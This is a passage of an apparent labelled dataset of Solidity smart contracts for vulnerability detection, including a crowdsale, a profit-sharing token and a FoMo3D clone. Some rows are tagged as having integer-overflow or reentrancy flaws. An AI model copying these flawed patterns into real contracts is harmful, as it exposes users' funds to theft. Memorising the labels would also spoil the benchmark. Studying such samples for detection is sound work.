appName, address _feeAccount, uint _fee) public { App storage e = apps[msg.sender]; require(e.appAccount == address(0)); apps[msg.sender] = App({ appAccount: msg.sender, appName: appName, feeAccount: _feeAccount, fee: _fee, active: true }); appAccounts.push(msg.sender); AppAdded(msg.sender, appName, _feeAccount, _fee, true); } function updateApp(string appName, address _feeAccount, uint _fee, bool active) public { App storage e = apps[msg.sender]; require(msg.sender == e.appAccount); e.appName = appName; e.feeAccount = _feeAccount; e.fee = _fee; e.active = active; AppUpdated(msg.sender, appName, _feeAccount, _fee, active); } function getApp(address appAccount) public constant returns (App app) { app = apps[appAccount]; } function getAppData(address appAccount) public constant returns (address _feeAccount, uint _fee, bool active) { App storage e = apps[appAccount]; _feeAccount = e.feeAccount; _fee = e.fee; active = e.active; } function appAccountsLength() public constant returns (uint) { return appAccounts.length; } // ------------------------------------------------------------------------ // App account can add Brand account // ------------------------------------------------------------------------ function addBrand(address brandAccount, string brandName) public { App storage app = apps[msg.sender]; require(app.appAccount != address(0)); Brand storage brand = brands[brandAccount]; require(brand.brandAccount == address(0)); brands[brandAccount] = Brand({ brandAccount: brandAccount, appAccount: msg.sender, brandName: brandName, active: true }); brandAccounts.push(brandAccount); BrandAdded(brandAccount, msg.sender, brandName, true); } function updateBrand(address brandAccount, string brandName, bool active) public { Brand storage brand = brands[brandAccount]; require(brand.appAccount == msg.sender); brand.brandName = brandName; brand.active = active; BrandUpdated(brandAccount, msg.sender, brandName, active); } function getBrand(address brandAccount) public constant returns (Brand brand) { brand = brands[brandAccount]; } function getBrandData(address brandAccount) public constant returns (address appAccount, address appFeeAccount, bool active) { Brand storage brand = brands[brandAccount]; require(brand.appAccount != address(0)); App storage app = apps[brand.appAccount]; require(app.appAccount != address(0)); appAccount = app.appAccount; appFeeAccount = app.feeAccount; active = app.active && brand.active; } function brandAccountsLength() public constant returns (uint) { return brandAccounts.length; } // ------------------------------------------------------------------------ // Brand account can add Product account // ------------------------------------------------------------------------ function addProduct(address productAccount, string description, string details, uint year, string origin) public { Brand storage brand = brands[msg.sender]; require(brand.brandAccount != address(0)); App storage app = apps[brand.appAccount]; require(app.appAccount != address(0)); Product storage product = products[productAccount]; require(product.productAccount == address(0)); products[productAccount] = Product({ productAccount: productAccount, brandAccount: msg.sender, description: description, details: details, year: year, origin: origin, active: true }); productAccounts.push(productAccount); ProductAdded(productAccount, msg.sender, app.appAccount, description, true); } function updateProduct(address productAccount, string description, string details, uint year, string origin, bool active) public { Product storage product = products[productAccount]; require(product.brandAccount == msg.sender); Brand storage brand = brands[msg.sender]; require(brand.brandAccount == msg.sender); App storage app = apps[brand.appAccount]; product.description = description; product.details = details; product.year = year; product.origin = origin; product.active = active; ProductUpdated(productAccount, product.brandAccount, app.appAccount, description, active); } function getProduct(address productAccount) public constant returns (Product product) { product = products[productAccount]; } function getProductData(address productAccount) public constant returns (address brandAccount, address appAccount, address appFeeAccount, bool active) { Product storage product = products[productAccount]; require(product.brandAccount != address(0)); Brand storage brand = brands[brandAccount]; require(brand.appAccount != address(0)); App storage app = apps[brand.appAccount]; require(app.appAccount != address(0)); brandAccount = product.brandAccount; appAccount = app.appAccount; appFeeAccount = app.feeAccount; active = app.active && brand.active && brand.active; } function productAccountsLength() public constant returns (uint) { return productAccounts.length; } // ------------------------------------------------------------------------ // Brand account can permission accounts as markers // ------------------------------------------------------------------------ function permissionMarker(address marker, bool permission) public { Brand storage brand = brands[msg.sender]; require(brand.brandAccount != address(0)); permissions[marker][msg.sender] = permission; Permissioned(marker, msg.sender, permission); } // ------------------------------------------------------------------------ // Compute item hash from the public key // ------------------------------------------------------------------------ function addressHash(address item) public pure returns (bytes32 hash) { hash = keccak256(item); } // ------------------------------------------------------------------------ // Markers can add [productAccount, sha3(itemPublicKey)] // ------------------------------------------------------------------------ function mark(address productAccount, bytes32 itemHash) public { Product storage product = products[productAccount]; require(product.brandAccount != address(0) && product.active); Brand storage brand = brands[product.brandAccount]; require(brand.brandAccount != address(0) && brand.active); App storage app = apps[brand.appAccount]; require(app.appAccount != address(0) && app.active); bool permissioned = permissions[msg.sender][brand.brandAccount]; require(permissioned); markings[itemHash] = productAccount; Marked(msg.sender, productAccount, app.feeAccount, feeAccount, app.fee, fee, itemHash); if (app.fee > 0) { token.transferFrom(brand.brandAccount, app.feeAccount, app.fee); } if (fee > 0) { token.transferFrom(brand.brandAccount, feeAccount, fee); } } // ------------------------------------------------------------------------ // Check itemPublicKey has been registered // ------------------------------------------------------------------------ function check(address item) public constant returns (address productAccount, address brandAccount, address appAccount) { bytes32 hash = keccak256(item); productAccount = markings[hash]; // require(productAccount != address(0)); Product storage product = products[productAccount]; // require(product.brandAccount != address(0)); Brand storage brand = brands[product.brandAccount]; // require(brand.brandAccount != address(0)); brandAccount = product.brandAccount; appAccount = brand.appAccount; } }",Safe,8,8 0x02a89330e27675bf50bb32833e4e430056aef504_SmartBondsSale.sol,"pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale. * Crowdsales have a start and end timestamps, where investors can make * token purchases and the crowdsale will assign them tokens based * on a token per ETH rate. Funds collected are forwarded to a wallet * as they arrive. */ contract token { function transfer(address receiver, uint amount){ } } contract SmartBondsSale { using SafeMath for uint256; // uint256 durationInMinutes; // address where funds are collected address public badgerWallet; address public investmentFundWallet; address public buyoutWallet; // token address address addressOfTokenUsedAsReward; token tokenReward; // start and end timestamps where investments are allowed (both inclusive) uint256 public startTime; uint256 public endTime; // amount of raised money in wei uint256 public weiRaised; uint256 public badgerAmount; uint256 public investAmount; uint256 public buyoutAmount; /** * event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); function SmartBondsSale() { // ether addressess where funds will be distributed badgerWallet = 0x5cB7a6547A9408e3C9B09FB5c640d4fB767b8070; investmentFundWallet = 0x8F2d31E3c259F65222D0748e416A79e51589Ce3b; buyoutWallet = 0x336b903eF5e3c911df7f8172EcAaAA651B80CA1D; // address of SmartBonds Token addressOfTokenUsedAsReward = 0x38dCb83980183f089FC7D147c5bF82E5C9b8F237; tokenReward = token(addressOfTokenUsedAsReward); // start and end times of contract sale startTime = 1533583718; // now endTime = startTime + 182 * 1 days; // 182 days } // fallback function can be used to buy tokens function () payable { buyTokens(msg.sender); } // low level token purchase function function buyTokens(address beneficiary) payable { require(beneficiary != 0x0); require(validPurchase()); // minimum amount is 2.5 eth, and max is 25 eth uint256 weiAmount = msg.value; if(weiAmount < 2.5 * 10**18) throw; if(weiAmount > 25 * 10**18) throw; // divide wei sent into distribution wallets badgerAmount = (5 * weiAmount)/100; buyoutAmount = (25 * weiAmount)/100; investAmount = (70 * weiAmount)/100; // tokenPrice uint256 tokenPrice = 25000000000000000; // calculate token amount to be sent uint256 tokens = (weiAmount *10**18) / tokenPrice; // update state weiRaised = weiRaised.add(weiAmount); tokenReward.transfer(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); forwardFunds(); } // send ether to the fund collection wallet // override to create custom fund forwarding mechanisms function forwardFunds() internal { // wallet.transfer(msg.value); if (!badgerWallet.send(badgerAmount)) { throw; } if (!investmentFundWallet.send(investAmount)){ throw; } if (!buyoutWallet.send(buyoutAmount)){ throw; } } // @return true if the transaction can buy tokens function validPurchase() internal constant returns (bool) { bool withinPeriod = now >= startTime && now <= endTime; bool nonZeroPurchase = msg.value != 0; return withinPeriod && nonZeroPurchase; } // @return true if crowdsale event has ended function hasEnded() public constant returns (bool) { return now > endTime; } function withdrawTokens(uint256 _amount) { if(msg.sender!=badgerWallet) throw; tokenReward.transfer(badgerWallet,_amount); } }",Safe,8,8 553.sol,"pragma solidity ^0.4.23; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns(uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns(uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns(uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns(uint256) { uint256 c = a + b; assert(c >= a); return c; } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else{ uint256 z = x; for (uint256 i = 1; i < y; i++) z = mul(z,x); return (z); } } } interface shareProfit { function increaseProfit() external payable returns(bool); } contract RTB2 is shareProfit { using SafeMath for uint256; uint8 public decimals = 0; uint256 public totalSupply = 700; uint256 public totalSold = 0; uint256 public constant price = 1 ether; string public name = ""Retro Block Token 2""; string public symbol = ""RTB2""; address public owner; address public finance; mapping (address=>uint256) received; uint256 profit; address public jackpot; shareProfit public shareContract; mapping (address=>uint256) changeProfit; mapping (address=>uint256) balances; mapping (address=>mapping (address=>uint256)) allowed; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event AddProfit(address indexed _from, uint256 _value, uint256 _newProfit); event Withdraw(address indexed _addr, uint256 _value); modifier onlyOwner() { require(msg.sender == owner, ""only owner""); _; } modifier onlyHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, ""sorry humans only""); _; } constructor(address _shareAddr) public { owner = msg.sender; finance = 0x28Dd611d5d2cAA117239bD3f3A548DcE5Fa873b0; jackpot = 0x119ea7f823588D2Db81d86cEFe4F3BE25e4C34DC; shareContract = shareProfit(_shareAddr); balances[this] = 700; } function() public payable { require(msg.value > 0, ""Amount must be provided""); profit = msg.value.div(totalSupply).add(profit); emit AddProfit(msg.sender, msg.value, profit); } function increaseProfit() external payable returns(bool){ if(msg.value > 0){ profit = msg.value.div(totalSupply).add(profit); emit AddProfit(msg.sender, msg.value, profit); return true; }else{ return false; } } function totalSupply() external view returns (uint256){ return totalSupply; } function balanceOf(address _owner) external view returns (uint256) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool) { require(_value > 0 && allowed[msg.sender][_spender] == 0); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) external returns (bool) { require(_value <= allowed[_from][msg.sender]); allowed[_from][msg.sender] -= _value; return _transfer(_from, _to, _value); } function allowance(address _owner, address _spender) external view returns (uint256) { return allowed[_owner][_spender]; } function transfer(address _to, uint256 _value) external returns (bool) { return _transfer(msg.sender, _to, _value); } function _transfer(address _from, address _to, uint256 _value) internal returns (bool) { require(_to != address(0), ""Receiver address cannot be null""); require(_value > 0 && _value <= balances[_from]); uint256 newToVal = balances[_to] + _value; assert(newToVal >= balances[_to]); uint256 newFromVal = balances[_from] - _value; balances[_from] = newFromVal; balances[_to] = newToVal; uint256 temp = _value.mul(profit); changeProfit[_from] = changeProfit[_from].add(temp); received[_to] = received[_to].add(temp); emit Transfer(_from, _to, _value); return true; } function buy(uint256 _amount) external payable{ require(_amount > 0); uint256 _money = _amount.mul(price); require(msg.value == _money); require(balances[this] >= _amount); require((totalSupply - totalSold) >= _amount, ""Sold out""); _transfer(this, msg.sender, _amount); finance.transfer(_money.mul(60).div(100)); jackpot.transfer(_money.mul(20).div(100)); shareContract.increaseProfit.value(_money.mul(20).div(100))(); totalSold += _amount; } function withdraw() external { uint256 value = getProfit(msg.sender); require(value > 0, ""No cash available""); emit Withdraw(msg.sender, value); received[msg.sender] = received[msg.sender].add(value); msg.sender.transfer(value); } function getProfit(address _addr) public view returns(uint256){ return profit.mul(balances[_addr]).add(changeProfit[_addr]).sub(received[_addr]); } function setJackpot(address _addr) public onlyOwner{ jackpot = _addr; } function setShare(address _addr) public onlyOwner{ shareContract = shareProfit(_addr); } function setFinance(address _addr) public onlyOwner{ finance = _addr; } }",./Dataset/integer overflow (OF)/,4,4 33098.sol,"contract check { function add(address _add, uint _req) { _add.callcode(bytes4(keccak256(""changeRequirement(uint256)"")), _req); } }",./Dataset/reentrancy (RE)/,5,5 2746.sol,"pragma solidity ^0.4.24; contract F3Devents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } contract FoMoRapid is F3Devents{ using SafeMath for uint256; using NameFilter for string; using F3DKeysCalcFast for uint256; address admin; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x56a4d4e31c09558F6A1619DFb857a482B3Bb2Fb6); string constant public name = ""FoMo3D Soon(tm) Edition""; string constant public symbol = ""F3D""; uint256 private rndGap_ = 60 seconds; uint256 constant private rndInit_ = 5 minutes; uint256 constant private rndInc_ = 5 minutes; uint256 constant private rndMax_ = 5 minutes; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; uint256 public rID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => F3Ddatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => F3Ddatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => F3Ddatasets.TeamFee) public fees_; mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; constructor() public { fees_[0] = F3Ddatasets.TeamFee(30,6); fees_[1] = F3Ddatasets.TeamFee(43,0); fees_[2] = F3Ddatasets.TeamFee(56,10); fees_[3] = F3Ddatasets.TeamFee(43,8); potSplit_[0] = F3Ddatasets.PotSplit(15,10); potSplit_[1] = F3Ddatasets.PotSplit(25,0); potSplit_[2] = F3Ddatasets.PotSplit(20,20); potSplit_[3] = F3Ddatasets.PotSplit(30,10); admin = msg.sender; } modifier isActivated() { require(activated_ == true, ""its not ready yet. check ?eta in discord""); _; } modifier isHuman() { address _addr = msg.sender; require (_addr == tx.origin); uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, ""sorry humans only""); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, ""pocket lint: not a valid currency""); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false) { F3Ddatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && round_[_rID].eth != 0 && _now <= round_[_rID].end) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else if (_now <= round_[_rID].end) return ( ((round_[_rID].ico.keys()).add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 100000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now <= round_[_rID].strt + rndGap_) return( ((round_[_rID].end).sub(rndInit_)).sub(_now) ); else if (_now < round_[_rID].end) return( (round_[_rID].end).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false) { uint256 _roundMask; uint256 _roundEth; uint256 _roundKeys; uint256 _roundPot; if (round_[_rID].eth == 0 && round_[_rID].ico > 0) { _roundEth = round_[_rID].ico; _roundKeys = (round_[_rID].ico).keys(); _roundMask = ((round_[_rID].icoGen).mul(1000000000000000000)) / _roundKeys; _roundPot = (round_[_rID].pot).add((round_[_rID].icoGen).sub((_roundMask.mul(_roundKeys)) / (1000000000000000000))); } else { _roundEth = round_[_rID].eth; _roundKeys = round_[_rID].keys; _roundMask = round_[_rID].mask; _roundPot = round_[_rID].pot; } uint256 _playerKeys; if (plyrRnds_[_pID][plyr_[_pID].lrnd].ico == 0) _playerKeys = plyrRnds_[_pID][plyr_[_pID].lrnd].keys; else _playerKeys = calcPlayerICOPhaseKeys(_pID, _rID); if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( (_roundPot.mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _roundMask, _roundPot, _roundKeys, _playerKeys) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _roundMask, _roundPot, _roundKeys, _playerKeys) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _roundMask, uint256 _roundPot, uint256 _roundKeys, uint256 _playerKeys) private view returns(uint256) { return( (((_roundMask.add((((_roundPot.mul(potSplit_[round_[rID_].team].gen)) / 100).mul(1000000000000000000)) / _roundKeys)).mul(_playerKeys)) / 1000000000000000000).sub(plyrRnds_[_pID][rID_].mask) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (round_[_rID].eth != 0) { return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } else { return ( round_[_rID].ico, _rID, (round_[_rID].ico).keys(), round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; if (plyrRnds_[_pID][_rID].ico == 0) { return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, 0 ); } else { return ( _pID, plyr_[_pID].name, calcPlayerICOPhaseKeys(_pID, _rID), plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].ico ); } } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_ = manageRoundAndPlayer(_pID, _eventData_); if (now <= round_[rID_].strt + rndGap_) { _eventData_.compressedData = _eventData_.compressedData + 2000000000000000000000000000000; icoPhaseCore(_pID, msg.value, _team, _affID, _eventData_); } else { _eventData_.compressedData = _eventData_.compressedData + 1000000000000000000000000000000; core(_pID, msg.value, _affID, _team, _eventData_); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_ = manageRoundAndPlayer(_pID, _eventData_); plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); if (now <= round_[rID_].strt + rndGap_) { _eventData_.compressedData = _eventData_.compressedData + 3000000000000000000000000000000; icoPhaseCore(_pID, _eth, _team, _affID, _eventData_); } else { core(_pID, _eth, _affID, _team, _eventData_); } } function icoPhaseCore(uint256 _pID, uint256 _eth, uint256 _team, uint256 _affID, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; if ((round_[_rID].ico).keysRec(_eth) >= 1000000000000000000 || round_[_rID].plyr == 0) { if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } plyrRnds_[_pID][_rID].ico = _eth.add(plyrRnds_[_pID][_rID].ico); round_[_rID].ico = _eth.add(round_[_rID].ico); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; round_[_rID].icoGen = _gen.add(round_[_rID].icoGen); uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); uint256 _pot = (_eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100))).sub(_gen); round_[_rID].pot = _pot.add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; endTx(_rID, _pID, _team, _eth, 0, _eventData_); } function core(uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; if (round_[_rID].eth == 0 && round_[_rID].ico > 0) roundClaimICOKeys(_rID); if (plyrRnds_[_pID][_rID].keys == 0 && plyrRnds_[_pID][_rID].ico > 0) { plyrRnds_[_pID][_rID].keys = calcPlayerICOPhaseKeys(_pID, _rID); plyrRnds_[_pID][_rID].ico = 0; } uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 10000000000000000000) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 100000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + 